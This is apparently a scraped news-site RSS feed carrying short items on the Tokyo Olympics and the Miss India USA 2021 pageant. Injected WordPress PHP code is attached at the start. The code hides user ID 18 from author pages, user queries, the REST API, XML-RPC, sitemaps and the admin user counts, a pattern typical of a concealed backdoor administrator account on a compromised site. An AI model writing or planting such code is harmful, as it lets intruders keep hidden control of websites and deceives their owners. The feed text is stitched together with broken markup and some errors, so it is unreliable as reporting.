add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Tokyo Olympics : Malaika Mihambo wins long jump gold. appeared first on The Edge Media.
]]>Mihambo was laying in the bronze medal position ahead of her final jump, but powered down the runaway to register a season-best jump of 7.00 metres.
That left 2012 Olympic champion reese– who had led the competition with a best jump of 6.97m– with one final attempt to reclaim the lead.
But the American could only manage 6.84 with her last leap to settle for silver.
Nigeria’s Ese Brune took the bronze medal with a best jump of 6.97m.
The post Tokyo Olympics : Malaika Mihambo wins long jump gold. appeared first on The Edge Media.
]]>The post Tokyo Olympics : India beats Australia to reach the women’s hockey semifinals. appeared first on The Edge Media.
]]>India held onto their lead through Gurjit Kaur in the second quarters as they showcased immense defensive might to keep the Australian women at bay. The Rani-rampel-led indian team defeated world no.2 Australia 1-0 in the quarterfinal clash thanks to Gurjit Kaur’s 22 minute strike. India’s best result was a fourth place finish in a round-robin competition with six teams in the 1980 Olympics games.
A day after the Indian men’s team entered the Olympic semifinals following a 49-year-gap, the world no.9 women’s side also entered the history books with a phenomenal gritty performance.
The post Tokyo Olympics : India beats Australia to reach the women’s hockey semifinals. appeared first on The Edge Media.
]]>The post Bhavani Devi wins India’s first-ever fencing match in the history of Olympics. appeared first on The Edge Media.
]]>The 27-year-old made her game debut showcasing nerves of steel as she was in complete control of her Women’s Sabre Individual Table of 64 bout, beating Tunisia’s Nadia Azizi 15-3 .
Despite a delay in the start to their bout, Bhavani Devi kept her composure and raced to an 8-0 lead.
Bhavani Devi not only attacked with precision but also collected points when she was on the backfoot with some smart touches. The 27-year-old from Chennai , who made history by becoming the first fencer from India to make it to the Olympic games, trained extensively in italy.
The post Bhavani Devi wins India’s first-ever fencing match in the history of Olympics. appeared first on The Edge Media.
]]>The post Vaidehi Dongre is crowned as Miss India USA 2021, Lanali from Georgia becomes the first runner up. appeared first on The Edge Media.
]]>Dongre graduated from the University of Michigan majoring in international studies. She works as a business development manager with a major corporation.
She also won the ‘Miss Talented’ award for her performance of Kathak.
“I want to leave a positive lasting impact on my community and focus on women’s Financial independence and literacy,” Vaidehi said.
20-year-old Lanali dazzled everyone with her performance and confidence and was declared the first runner up. She suffers from a brain tumour.
The post Vaidehi Dongre is crowned as Miss India USA 2021, Lanali from Georgia becomes the first runner up. appeared first on The Edge Media.
]]>